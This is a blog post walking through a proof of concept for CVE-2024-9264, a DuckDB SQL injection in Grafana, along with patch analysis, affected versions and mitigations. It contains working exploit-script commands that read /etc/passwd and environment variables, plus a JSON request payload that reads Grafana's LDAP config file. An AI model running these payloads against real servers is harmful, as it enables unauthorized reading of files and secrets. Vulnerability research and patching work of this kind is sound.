DEV Community

Carrie
Carrie

Posted on

POC of Grafana Post-Auth DuckDB SQL Injection (File Read) CVE-2024-9264

Image description
(Credit: Timon – stock.adobe.com)

This PoC demonstrates how to exploit CVE-2024-9264 to execute DuckDB SQL queries using an authenticated user and read arbitrary files from the file system.

Setup:

Install the necessary dependencies with the following command:

pip install -r requirements.txt
Enter fullscreen mode Exit fullscreen mode

Usage (File Read Example):

python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Enter fullscreen mode Exit fullscreen mode

You can also execute arbitrary DuckDB queries, such as calling getenv to retrieve environment variables:

python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
Enter fullscreen mode Exit fullscreen mode

A list of exploitable DuckDB functions can be found here.

Vulnerability Overview

CVE-2024-9264 is a DuckDB SQL injection vulnerability in Grafana’s experimental SQL expression feature. Any authenticated user can execute arbitrary DuckDB SQL queries by modifying expressions in Grafana dashboards.

Affected Versions:

Grafana OSS and Enterprise versions 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, and 11.2.0 - 11.2.1.

Fixed Versions:

11.0.5+security-01 and later.

Finding the Patch

Grafana released special versions to address this vulnerability. To analyze the patch, you can compare the changes with the following commands:

git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Enter fullscreen mode Exit fullscreen mode

This shows that the SQL expression feature was simply removed from the vulnerable versions.

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
Enter fullscreen mode Exit fullscreen mode
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V

        rsp := mathexp.Results{}

-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {
Enter fullscreen mode Exit fullscreen mode

The patch fully removes the SQL expression feature, preventing the possibility of exploitation.

Exploiting the Vulnerability

1. Start Grafana:

Run Grafana with version 11.0.5:

docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Enter fullscreen mode Exit fullscreen mode

2.Modify Expression:

Create a dashboard with a “Math” expression, intercept the request using Burp, and change the datasource type from math to sql. An HTTP request will be sent to /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.

Here is a minimal JSON example to execute a DuckDB SQL query that reads an arbitrary file such as ./conf/ldap.toml:

{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}
Enter fullscreen mode Exit fullscreen mode

It is not necessary to actually have a dashboard to exploit this; it’s just an easy way to find the HTTP request that executes the query.

Exploit Possibility

It’s important to note that while this vulnerability is critical, its exploitability depends on whether the DuckDB binary is installed on the Grafana server. By default, Grafana does not include DuckDB, and there is no option to install it directly from the Grafana interface. For the vulnerability to be exploitable, an administrator must manually install DuckDB and add it to the Grafana server’s $PATH.

If DuckDB is not present, the SQL injection vulnerability cannot be exploited, significantly reducing the likelihood of a successful exploit in default installations.

Mitigations

Update Grafana to the fixed versions and ensure that the DuckDB binary is not in the $PATH if patching is delayed.

Acknowledgements

This PoC uses the ten framework developed by cfreal.

https://github.com/nollium/CVE-2024-9264/
Enter fullscreen mode Exit fullscreen mode

This article is written by Duyan Intelligence.


I'm Carrie, a cybersecurity engineer and writer, working for SafeLine Team. SafeLine is an open source web application firewall, self-hosted, very easy to use.

Top comments (0)